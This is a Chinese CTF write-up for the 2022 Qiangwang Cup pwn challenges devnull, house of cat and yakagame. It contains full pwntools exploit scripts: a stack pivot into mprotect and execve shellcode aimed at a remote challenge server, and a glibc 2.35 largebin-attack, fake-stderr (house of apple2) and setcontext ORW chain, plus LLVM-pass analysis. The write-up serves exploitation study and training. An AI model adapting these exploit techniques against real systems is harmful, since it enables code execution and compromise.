2022强网杯-PWN-WP
devnull
分析
题目的libc_start_main需要glibc2.34+,所以在ubuntu21上打。
main函数溢出点很明显,读了0x2c bytes,覆盖掉rbp后可以溢出0x8 bytes。
直接考虑栈迁移。
这里我是迁移到.LOAD去了。
溢出的时候要注意覆盖buf变量和fd变量(实际的栈布局和ida分析的稍有出入,需要自己调一下看),劫持第二次read,把之后布置的rop读到.LOAD中。
这里进的是第25行的read,但是rdi此时是0,所以可以正常从stdin写数据。
由于保护全开,不好从got表leak libc,但这个题存在_mprotect
函数,可以用来修改某段内存的权限。
在sub_4012B6
中,存在可大量利用的代码片段
由于之前打印过Thanks\n
,刚好7个字符,所以在call _mprotect的时候,edx其实就是7。
不过rdi是由rax控制的,所以还需要找能控制rax的gadget。
这里将[rbp-0x18]
赋值给了rax,所以只需要控制好rbp,在gadget中,让rbp-0x18
处是.LOAD的起始地址就行。(这里卡了挺久,mprotect的addr参数,必须是页对齐的才行)。
然后就正常布置rop,最后写shellcode,execve("/bin/sh\x00", 0, 0)即可getshell。(由于关闭了stdout,所以getshell之后还需要exec 1>&2
重定位一下)
exp
from pwn import *
context.log_level = 'debug'
context.arch = 'amd64'
# p = process('./devnull')
p = remote('123.56.45.155', 35339)
elf = ELF('./devnull')
load = 0x3fe000
leave_ret = 0x0000000000401354 # leave ; ret
mov_rax = 0x0000000000401350 # mov rax, qword ptr [rbp - 0x18] ; leave ; ret
pay = cyclic(0x34) + p64(load)*2 + p64(leave_ret)
p.recvuntil('filename')
p.send(pay)
pay = p64(load+0x28) + p64(mov_rax) + p64(load)*4 + p64(0x4012d0)
pay += b'/bin/sh\x00' + p64(load+0x48)+asm(shellcraft.execve(load+0x38,0,0))
p.recvuntil('new data')
# gdb.attach(p)
sleep(1)
p.send(pay)
p.interactive()
house of cat
分析
libc-2.35的菜单堆题,保护全开,沙箱禁用了execve
,并且对fd有检查。
每次循环都用sub_155E
对tcache_perthread_struct
进行了重新赋值,防止打tcache任意分配。
分析sub_1DF3
发现,需要先在sub_1A50
中将sub_19D6
栈上的一个变量改为1来登录,之后才能进到堆块管理的功能中。
而登录的payload其实很简单:
1. 包含`QWB`, `LOGIN`, `QWXF`, `admin`, `r00t`这些字段
2. 在`LOGIN`后用` | `隔开
3. `LOGIN`最先出现, 然后是`r00t`, 在`QWB`往后5位是`admin`
我最终使用的是
LOGIN | r00t QWB QWXFadmin
后续的菜单交互payload构造方法类似,就不作具体分析了
菜单总体如下
add功能限制了chunk的size在0x420到0x470之间,都是largebin chunks的范围。
delete直接白给uaf,肯定会从这里入手去leak和打largebin attack。
show是直接write0x30个字节,不怕\x00的截断。
mini_edit限制了修改只能修改0x30,且次数受dword_4010
的限制,只能修改2次。也就是说,最多完成2次largebin attack。不过这题的洞是uaf,操作的空间还是比较大的。
leak部分没什么好说的,直接利用uaf得到heapbase和libcbase。
第一个largebin attack我打的是stderr
,因为这题没有显式调用exit,也不能从main函数返回,所以没法走fsop,需要利用__malloc_assert
,(参考house of kiwi
的触发方法,这里就不详细介绍了)
IO利用链这里我是使用的house of apple2
的方法,利用_IO_wfile_overflow
。(其实也可以利用_IO_wfile_jumps_mmap
或_IO_wfile_jumps_maybe_mmap
,不过可能需要浅浅调一下偏移)
wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return WEOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
{
/* Allocate a buffer if needed. */
if f->_wide_data->_IO_write_base == 0
{
_IO_wdoallocbuf (f); // 进此分支
// ......
}
}
}
这里需要满足:
(f->_flags & _IO_NO_WRITES) == 0
(f->_flags & _IO_CURRENTLY_PUTTING) == 0
(f->_wide_data->_IO_write_base == 0)
在_IO_wdoallocbuf
中,有
void
_IO_wdoallocbuf (FILE *fp)
{
if (fp->_wide_data->_IO_buf_base)
return;
if (!(fp->_flags & _IO_UNBUFFERED))
if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF) // 进此分支控制rip
return;
_IO_wsetb (fp, fp->_wide_data->_shortbuf,
fp->_wide_data->_shortbuf + 1, 0);
}
libc_hidden_def (_IO_wdoallocbuf)
这里需要满足:
(fp->_wide_data->_IO_buf_base) == 0
(fp->_flags & _IO_UNBUFFERED) == 0
然后就会调用(wint_t)_IO_WDOALLOCATE (fp)
, 即*(fp->_wide_data->_wide_vtable + 0x68)(fp)
综上,fake_stderr
需要满足的条件如下:
- 如果不需要直接getshell,那么
fp->_flags
设置为0即可(满足~(0x2 | 0x8 | 0x800)
) fp->vtable
设为_IO_wfile_jumps
fp->_wide_data
设置为某个可控地址A
,(*(fp + 0xa0) = A
)fp->_wide_data->_IO_write_base
设置为0,(*(A + 0x18) = 0
)fp->_wide_data->_IO_buf_base
设置为0,(*(A + 0x30) = 0
)fp->_wide_data->_wide_vtable
设置为可控地址B
,(*(A + 0Xe0) = B
)fp->_wide_data->_wide_vtable->doallocate
设置为想要劫持rip到的地址,(*(B + 0x68) = rip
)
由于还会调用__xfprintf
,其中有一个_IO_flockfile
的宏,还需要满足fp->_lock
为一个可写地址。
触发__malloc_assert
这题应该至少有两个做法,一个是再利用一次largebin attack去打&topsize+7
,修改到topsize为某个堆地址的最低一字节(要保证大于0x20
),还有一个就是构造heap overlap,直接修改到topsize。这里我使用的是后者,所以也节约了一次largebin attack。(所以这题应该也是可以用house of emma梭的,只是能不打TLS就别打hhh)
构造overlap的方法就是造3个与top chunk紧邻的chunk,两个0x450(A, B),另一个作为防止直接于topchunk合并的gap(C),然后free掉A和B,重新分配为一个0x440(C)和一个0x460(D),这个时候就能改到之前的chunk B的chunk size,我们修改他为0x8c1,此时利用uaf,再次free掉chunk B,这个时候topchunk就合并上来了。然后free掉chunk D,重新申请就能改到topchunk的size。
剩下的就没什么好说的了,就是要注意在open之前先close(0),让open("flag", 0)分配到的fd为0,通过沙箱的检查,然后直接用libc的open会被kill掉,这里可以用syscall来调用。
(exp比较难看,SigreturnFrame
和_wide_vtable
我是直接空间复用了,因为_IO_WDOALLOCATE
劫持到rip的时候,rdx刚好在那个chunk的地址,所以就凑合着用了。)
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
elf = ELF('./house_of_cat')
libc = elf.libc
p = process('./house_of_cat')
sla = lambda x,y : p.sendlineafter(x, y)
sa = lambda x,y : p.sendafter(x, y)
sd = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
rl = lambda :p.recvline()
ru = lambda x : p.recvuntil(x)
def choice(idx):
sa('~~~\n', 'CAT | r00t QWB QWXF$\xff')
sla('choice:', str(idx))
def add(idx, size, content='ababab'):
choice(1)
sla('idx:', str(idx))
sla('size:', str(size))
if idx!=14:
sa('content:', content)
def delete(idx):
choice(2)
sla('idx:', str(idx))
def show(idx):
choice(3)
sla('idx', str(idx))
def edit(idx, content):
choice(4)
sla('idx', str(idx))
sa('content:', content)
def getshell():
sleep(0.1)
p.interactive()
def main():
sa('~~~\n', 'LOGIN | r00t QWB QWXFadmin')
add(0, 0x420) # A
wide_data = p64(0)*4
add(15, 0x450) # gap
add(1, 0x418) # B
add(2, 0x450) # gap
delete(0)
add(3, 0x450)
show(0) # leak
ru('text:\n')
libcbase = u64(p.recv(8)) - 0x21a0d0
p.recv(8)
heapbase = u64(p.recv(8))>>12
print(hex(libcbase))
print(hex(heapbase))
stderr = libcbase + libc.symbols['stderr']
print(hex(stderr))
delete(1)
fake_stderr = p64(0)
fake_stderr = fake_stderr.ljust(0x78, b'\x00')
fake_stderr += p64((heapbase<<12)) # _lock
fake_stderr = fake_stderr.ljust(0x90, b'\x00')
fake_stderr += p64((heapbase<<12)+0x1c60) # _wide_data
fake_stderr = fake_stderr.ljust(0xc8, b'\x00')
fake_stderr += p64(libcbase + 0x2160c0) # _IO_wfile_jumps
add(5, 0x418, fake_stderr)
delete(5)
pay = p64(libcbase+0x21a0d0)*2
pay += p64((heapbase<<12)^0x290) + p64(stderr-0x20)
edit(0, pay)
# gdb.attach(p)
add(4, 0x450) # largebin attack stderr
setcontext = libcbase + libc.symbols['setcontext']
wide_data = p64(0) * 13
wide_data += p64(0)*2 + p64(0x20) # rdx
wide_data += p64(0)*2 + p64((heapbase<<12)+0x2158) # rsp
wide_data += p64(libcbase + 0x000000000002a3e5 + 1) # rip
wide_data = wide_data.ljust(0xd0, b'\x00')
wide_data += p64((heapbase<<12)+0x20c0) # wide_vtable_address
add(6, 0x450, wide_data) # AA
wide_vtable = p64(0)
wide_vtable = wide_vtable.ljust(0x58, b'\x00')
wide_vtable += p64(setcontext+61)
close = libcbase + libc.symbols['close']
# open = libcbase + libc.symbols['open']
read = libcbase + libc.symbols['read']
write = libcbase + libc.symbols['write']
syscall_ret = libcbase + 0x0000000000091396 # syscall ; ret
pop_rax = libcbase + 0x0000000000045eb0 # pop rax ; ret
pop_rdi = libcbase + 0x000000000002a3e5 # pop rdi ; ret
pop_rsi = libcbase + 0x000000000002be51 # pop rsi ; ret
rop = b'flag\x00\x00\x00\x00' + p64(0)*4
rop += p64(pop_rdi) + p64(0) + p64(close)
rop += p64(pop_rdi) + p64((heapbase<<12)+0x2130)
pay += p64(pop_rax) + p64(2) + p64(syscall_ret)
rop += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64((heapbase<<12)+0x2140) + p64(read)
rop += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64((heapbase<<12)+0x2140) + p64(write)
add(7, 0x450, wide_vtable + rop) # BB
add(8, 0x450)
add(9, 0x450)
add(10, 0x450) # gap
delete(8)
delete(9)
add(11, 0x440)
pay = p64(0) + p64(0x460+0x461)
add(12, 0x460, pay)
delete(9)
delete(12)
pay = p64(0) + p64(0x50) # hijack topsize
add(13, 0x460, pay)
# gdb.attach(p, 'b *__malloc_assert')
# raw_input()
add(14, 0x450) # __malloc_assert
getshell()
if __name__ == '__main__':
main()
yakagame
分析
题目给了opt-8
和yaka.so
,显然是道llvm pass类的pwn题。(至于llvm pass是啥,我后面再单独出一篇文章讲讲吧)
查一下opt-8
的保护,可以看到差不多只开了NX,利用形式就很多了
yaka.so
直接ida开始分析
首先在虚函数表中找到他重写的runOnFunction
函数(一般来说runOnFunction
一定在虚函数表的最后),在这题就是sub_C880
这个函数,跟进去分析。
可以看到需要用gamestart函数作为主函数,然后调用一些特殊函数名来进行对应的游戏操作,最终通过fight打败boss取得分数。(具体功能这里就不浪费篇幅讨论了)
分数达到0x12345678
过后会有一个后门
在后门中可以直接执行system(cmd)
这个cmd
的来源如下,
src长度为8,解密后极有可能是cat flag
这8个字符。
再看看涉及到解密的代码部分,
当函数名为以上四个的时候,可以对cmd
进行一个逐位的操作。
现在来写代码暴力破解一下这个解密操作。
先用idapython提取src的每一位(手动复制也行,我太懒了)
写了个dfs暴力跑解密顺序,
#include<cstdlib>
#include<cstdio>
#include<cstring>
#include<iostream>
#define per(i, a, b) for (int i = a; i <= b; ++i)
#define rep(i, a, b) for (int i = a; i >= b; --i)
using namespace std;
unsigned char cmd[1<<4] = {0x92, 0x68, 0x7b, 0x27, 0x6d, 0x93, 0x68, 0x66};
int op[1<<10];
void wuxiangdeyidao(unsigned char tmp[]){
per(i,0,7)
tmp[i]^=0x14u;
}
void zhanjinniuza(unsigned char tmp[]){
per(i,0,7)
tmp[i]^=0x7fu;
}
void guobapenhuo(unsigned char tmp[]){
per(i,0,7)
tmp[i]-=9u;
}
void tiandongwanxiang(unsigned char tmp[]){
per(i,0,7)
tmp[i]+=2u;
}
void (*func[1<<2])(unsigned char*) = {wuxiangdeyidao, zhanjinniuza, guobapenhuo, tiandongwanxiang};
void dfs(unsigned char tmp[], int t){
if(t>10) return;
unsigned char tmp_t[1<<4] = {};
per(i,0,3){
memcpy(tmp_t, tmp, 0x9);
(*func[i])(tmp_t);
op[t] = i;
if(!strcmp((char *)tmp_t, "cat flag")){
per(j,0,t) cout<<op[j]<<" ";
exit(0);
}
else
dfs(tmp_t, t+1);
}
}
int main(){
unsigned char tmp[1<<4] = {};
memcpy(tmp, cmd, 0x9);
dfs(tmp, 0);
return 0;
}
最终得到的顺序是:
0 0 0 0 0 0 3 0 2 0
由于wuxiangdeyidao
是异或操作,所以我可以对这个结果手动简化一下变成:
3 0 2 0
即,
tiandongwanxiang, wuxiangdeyidao, guobapenhuo, wuxiangdeyidao
这样就能把cmd还原为cat flag
了
现在来分析一下如何触发后门。
在gamestart函数中调用特定函数,会触发特定的处理流程。fight
, merge
, destroy
, upgrade
和刚刚解密cmd
分析到的四个函数以外,如果再遇到新的函数(这些函数的参数个数都要按照要求来定义),将会在map中存入新的键值对。
而weaponlist
的索引v33
是个char类型的变量,
而bss段里面weaponlist
的低位刚好又是score
的指针,所以我们可以构造大于255个函数,让v33
溢出为负数,且再次调用其中某些函数刚好能劫持到score
指针的某几个字节(正好程序没有打开pie保护),从而让后门大开。
由于map内部会对key进行排序,所以自定义函数的名字要注意按字典序递增。
然后具体的偏移量要稍微用gdb调试一下。
(待更新)